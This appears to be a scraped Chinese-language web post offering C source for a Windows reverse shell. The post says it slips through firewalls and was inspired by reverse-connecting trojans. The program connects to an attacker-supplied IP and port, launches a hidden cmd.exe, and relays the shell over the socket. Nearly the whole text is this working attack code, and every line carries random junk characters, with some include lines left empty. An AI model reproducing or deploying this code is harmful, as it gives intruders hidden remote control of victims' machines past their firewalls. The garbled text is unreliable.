Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 %A dE5HI-  
^i^/d#  
/* ============================== 0Y9\,y_  
Rebound port in Windows NT Iw$7f kq  
By wind,2006/7 V1j5jjck  
===============================*/ bgjo_!J+Pp  
#include /r Hd9^Y  
#include 3R[5prE<  
]?`t spm<t  
#pragma comment(lib,"wsock32.lib") =q(;g]e  
$>;U^-#3  
void OutputShell(); PI#xRKt  
SOCKET sClient; Ln})\ UDK)  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; xCMcS~ 3/  
/gKX%`ZF/r  
void main(int argc,char **argv) !(soMv  
{ ["\Y-6"l  
WSADATA stWsaData; x\Bl^1&  
int nRet; q(J3fjY)  
SOCKADDR_IN stSaiClient,stSaiServer; nDSmr  
C0X_t  
if(argc != 3) 8rXu^  
{ A-&C.g  
printf("Useage:\n\rRebound DestIP DestPort\n"); io$!z=W  
return; &!#a^d+` 0  
} .j}dk.#h  
pN"d~Z8  
WSAStartup(MAKEWORD(2,2),&stWsaData); DUxj^,mf,  
]N^a/&}*  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^xO
CT=V  
K_4}N%P/))  
stSaiClient.sin_family = AF_INET; uFIr.U$V  
stSaiClient.sin_port = htons(0); ^E8XPK]-~  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); x-km)2x=W  
;aip1Df  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ax4nx!W,  
{ '@h
5j6:2  
printf("Bind Socket Failed!\n"); YAqv:
  
return; }^;Tt-*k  
} bBBW7',[a  
#]'#\d#i  
stSaiServer.sin_family = AF_INET; 3PLv;@!#j}  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "]81+ D  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); HgP9evz,0  
t3.;W/0_  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) aCe<*;b@  
{ O<Rm9tZ8  
printf("Connect Error!"); W|oLS  
return; (7G5y7wI"  
} #=@( m.k:s  
OutputShell(); C&b^TLe  
} W~J@v@..4  
ON|Bpt2Qp  
void OutputShell() A=/|f$s+  
{ Rdd[b?  
char szBuff[1024]; y-gSal  
SECURITY_ATTRIBUTES stSecurityAttributes; Q"KD O-t  
OSVERSIONINFO stOsversionInfo; F7wpGtt  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; oO-kO!59y  
STARTUPINFO stStartupInfo; %l!Gt"\xm  
char *szShell; f:gXXigY,  
PROCESS_INFORMATION stProcessInformation; NWuS/Ur`9  
unsigned long lBytesRead; "MD  
pt&(c[  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %Uj7g>  
-
ckk2D?  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); \e64Us>"x  
stSecurityAttributes.lpSecurityDescriptor = 0; 00 Qn1  
stSecurityAttributes.bInheritHandle = TRUE; p=vu<xXtD  
y{ReQn3>y  
@sRUl ,M;Z  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);
r7r>1W%4  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); U)%gzXTZ%  
x'OE},>i  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); tY^MP5*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y-qbK0=X4  
stStartupInfo.wShowWindow = SW_HIDE; /l-lkG5  
stStartupInfo.hStdInput = hReadPipe; K r9 P#Y  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Mj2o>N2,  
Ai&-W  
GetVersionEx(&stOsversionInfo); !%<bLD8  
8jW"8~Y#0  
switch(stOsversionInfo.dwPlatformId) \*Roa&<!  
{ l(D
kmt>^  
case 1: V)CS,w  
szShell = "command.com"; %y{#fZHc  
break; 8y5iT?.~vy  
default: 3VZeUOxY\W  
szShell = "cmd.exe"; s*.CJ  
break; |X/
QSL  
} ,b2YUb]U  
7yGc@kJ?  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j^ VAA\  
_zq"<Q c  
send(sClient,szMsg,77,0); u/3[6MIp  
while(1) kZXsL
 
{ s*<\mwB  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8C1 'g7A<  
if(lBytesRead) RM8p[lfX  
{ ]03+8#J  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); j3`#v3  
send(sClient,szBuff,lBytesRead,0); Gj^JpG  
} eHUr!zH:  
else \^O#)&5 V  
{ ]]~tFdh  
lBytesRead=recv(sClient,szBuff,1024,0); 9Ml^\|  
if(lBytesRead<=0) break; m%Ah]x;  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >h+[#3vD  
} K]4XD1n7  
} V3j1M?>  

ns|)VX  
return; )&R^J;W$M1  
}